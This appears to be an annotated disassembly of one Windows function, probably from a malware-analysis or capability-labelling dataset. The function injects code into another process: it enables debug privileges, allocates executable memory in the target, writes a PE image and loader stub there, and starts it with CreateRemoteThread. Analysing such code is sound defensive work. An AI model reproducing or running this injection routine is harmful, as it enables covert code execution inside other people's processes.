Function at 0x401370
Capabilities:
Acquire debug privileges
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
sub esp, 0x44
mov eax, dword [0x405008]
xor eax, esp
mov dword [esp + 0x3c], eax
push ebx
mov ebx, dword [0x405124]
lea eax, [esp + 8]
push ebp
push esi
push edi
push eax
push 0x28
mov edi, ecx
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x40140f
lea eax, [esp + 0x18]
push eax
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x40140f
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x1c]
push 0
push 0
push 0x10
mov dword [esp + 0x4c], eax
lea eax, [esp + 0x48]
push eax
push 0
push dword [esp + 0x28]
mov dword [esp + 0x54], 1
mov dword [esp + 0x5c], ecx
mov dword [esp + 0x60], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x40140f
push dword [esp + 0x14]
call ebp
jmp 0x401411
call esi
push edi
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
jne 0x401451
call esi
push eax
push str.Error:_Invalid_handle___d__n
push dword [0x428af0]
call fcn.00401030
add esp, 0xc
push edi
call ebp
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x3c]
xor ecx, esp
call fcn.00401773
add esp, 0x44
ret
push 0x40
push 0x3000
push dword [ebx + 0x405138]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
test esi, esi
jne 0x40148d
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
push eax
push str.Error:_Failed_to_allocate_memory___d__n
push dword [0x428af0]
call fcn.00401030
add esp, 0xc
jmp 0x40160a
push 0
push dword [ebx + 0x40513c]
push 0x4050e8
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x4014d5
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
push eax
push str.Error:_Failed_to_write_image___d__n
push dword [0x428af0]
call fcn.00401030
add esp, 0xc
push 0x8000
push 0
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x40160a
xor eax, eax
xorps xmm0, xmm0
movlpd qword [esp + 0x18], xmm0
cmp ax, word [ebx + 0x4050ee]
jae 0x40154b
mov eax, dword [esp + 0x1c]
mov ebp, dword [esp + 0x18]
mov dword [esp + 0x14], eax
lea ecx, [ebp*4]
add ecx, ebp
push 0
push dword [ebx + ecx*8 + 0x4051f0]
mov eax, dword [ebx + ecx*8 + 0x4051f4]
add eax, 0x4050e8
push eax
mov eax, dword [ebx + ecx*8 + 0x4051ec]
add eax, esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [esp + 0x14]
add ebp, 1
movzx eax, word [ebx + 0x4050ee]
adc ecx, 0
cdq
mov dword [esp + 0x14], ecx
cmp ecx, edx
jb 0x4014f5
ja 0x401545
cmp ebp, eax
jb 0x4014f5
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x40
push 0x3000
push 0x1000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [esp + 0x14], eax
test eax, eax
jne 0x40157a
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
push eax
push str.Error:_Failed_to_allocate_memory___d__n
jmp 0x4014b3
push 0x1c
lea eax, [esp + 0x24]
push 0
push eax
call dword [sym.imp.VCRUNTIME140.dll_memset]
mov eax, dword [esp + 0x20]
add esp, 0xc
mov dword [esp + 0x38], eax
mov eax, dword [0x405124]
add eax, esi
mov dword [esp + 0x20], esi
mov dword [esp + 0x24], eax
mov eax, dword [ebx + 0x405188]
add eax, esi
mov dword [esp + 0x28], eax
mov eax, dword [ebx + 0x405168]
mov ebx, dword [esp + 0x14]
add eax, esi
mov dword [esp + 0x2c], eax
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
mov dword [esp + 0x34], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x1c
mov dword [esp + 0x3c], eax
lea eax, [esp + 0x28]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0xca
push 0x405018
lea esi, [ebx + 0x1c]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0
push ebx
push esi
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
push edi
call ebp
mov ecx, dword [esp + 0x4c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00401773
add esp, 0x44
ret